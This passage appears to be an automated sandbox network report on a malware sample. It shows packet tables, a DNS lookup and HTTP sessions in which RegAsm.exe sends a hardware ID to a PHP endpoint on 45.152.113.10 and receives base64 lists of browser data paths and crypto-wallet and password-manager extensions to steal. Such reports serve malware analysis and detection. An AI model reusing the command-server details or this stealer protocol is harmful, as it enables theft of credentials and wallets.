Sep 9, 2024 18:45:15.669864893 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669872046 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669908047 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669975042 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670018911 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670073032 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.670073032 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.670078993 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670129061 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.670624018 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670670986 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670720100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.670720100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.670725107 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.670758963 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671109915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671154976 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671200991 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671200991 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671207905 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671252966 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671459913 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671499968 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671519995 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671531916 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.671565056 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.671565056 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.696893930 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.696924925 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.697007895 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.697020054 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.697144985 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.697144985 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.697268009 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.697309017 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.697351933 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.697351933 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.697360992 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.697422028 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.762856960 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.762881041 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.762995005 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.763017893 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.764575958 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.764631987 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.764662981 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.764676094 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.764710903 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.764710903 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.764796972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.765033007 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.766122103 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.766136885 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:16.049371004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.351892948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.844203949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.844274998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.844492912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.844533920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.844763041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.844804049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.845304966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.845616102 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.850471973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.850482941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.850778103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.852303028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.852354050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.852406025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.854509115 CEST	80	49723	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:16.854574919 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.861829996 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:16.867062092 CEST	80	49723	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:18.626271963 CEST	80	49723	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:18.626338005 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:18.627095938 CEST	80	49723	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:18.627159119 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:18.627736092 CEST	80	49723	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:18.627784014 CEST	49723	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:21.633938074 CEST	49723	80	192.168.2.5	45.152.113.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2024 18:45:11.159054041 CEST	62024	53	192.168.2.5	1.1.1.1
Sep 9, 2024 18:45:11.171936035 CEST	53	62024	1.1.1.1	192.168.2.5
Sep 9, 2024 18:45:20.314280033 CEST	53	63944	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 9, 2024 18:45:11.159054041 CEST	192.168.2.5	1.1.1.1	0x335e	Standard query (0)	evokeedgellc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 9, 2024 18:45:11.171936035 CEST	1.1.1.1	192.168.2.5	0x335e	No error (0)	evokeedgellc.com		198.54.120.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

evokeedgellc.com

45.152.113.10

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	45.152.113.10	80	2680	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 18:45:00.234018087 CEST	88	OUT	GET / HTTP/1.1 Host: 45.152.113.10 Connection: Keep-Alive Cache-Control: no-cache
Sep 9, 2024 18:45:00.782103062 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:00.791800976 CEST	414	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 45.152.113.10 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 46 37 32 36 34 46 35 45 30 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="hwid"FF7264F5E0363848468766------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="build"default------FBFHDBKJEGHJJJKFIIJE--
Sep 9, 2024 18:45:00.948998928 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 56 6b 59 32 5a 6c 4f 54 55 32 4d 44 67 34 4e 44 42 6b 5a 6a 67 77 5a 6d 52 6c 59 54 63 30 59 7a 64 6d 4e 44 52 6a 4d 44 4e 6a 59 6a 55 77 5a 54 42 6c 59 6a 52 6a 4e 44 6c 6b 5a 44 4d 33 5a 54 59 34 4e 7a 6c 6c 4f 54 41 34 4d 44 67 34 5a 57 56 69 4d 57 4d 33 4d 44 46 6b 4f 54 4d 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzVkY2ZlOTU2MDg4NDBkZjgwZmRlYTc0YzdmNDRjMDNjYjUwZTBlYjRjNDlkZDM3ZTY4NzllOTA4MDg4ZWViMWM3MDFkOTMxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MXwwfHlibmNiaHlsZXBtZXw=
Sep 9, 2024 18:45:00.950851917 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="message"browsers------KKKJEHCGCGDAAAKFHJKJ--
Sep 9, 2024 18:45:01.093255043 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1460 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 9, 2024 18:45:01.093305111 CEST	452	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 9, 2024 18:45:01.094657898 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"plugins------HCAEHDHDAKJEBGCBKKJE--
Sep 9, 2024 18:45:01.235318899 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 9, 2024 18:45:01.235354900 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Sep 9, 2024 18:45:01.235428095 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Sep 9, 2024 18:45:01.235465050 CEST	224	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxH
Sep 9, 2024 18:45:01.235496044 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Sep 9, 2024 18:45:01.235529900 CEST	224	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVu
Sep 9, 2024 18:45:01.235567093 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
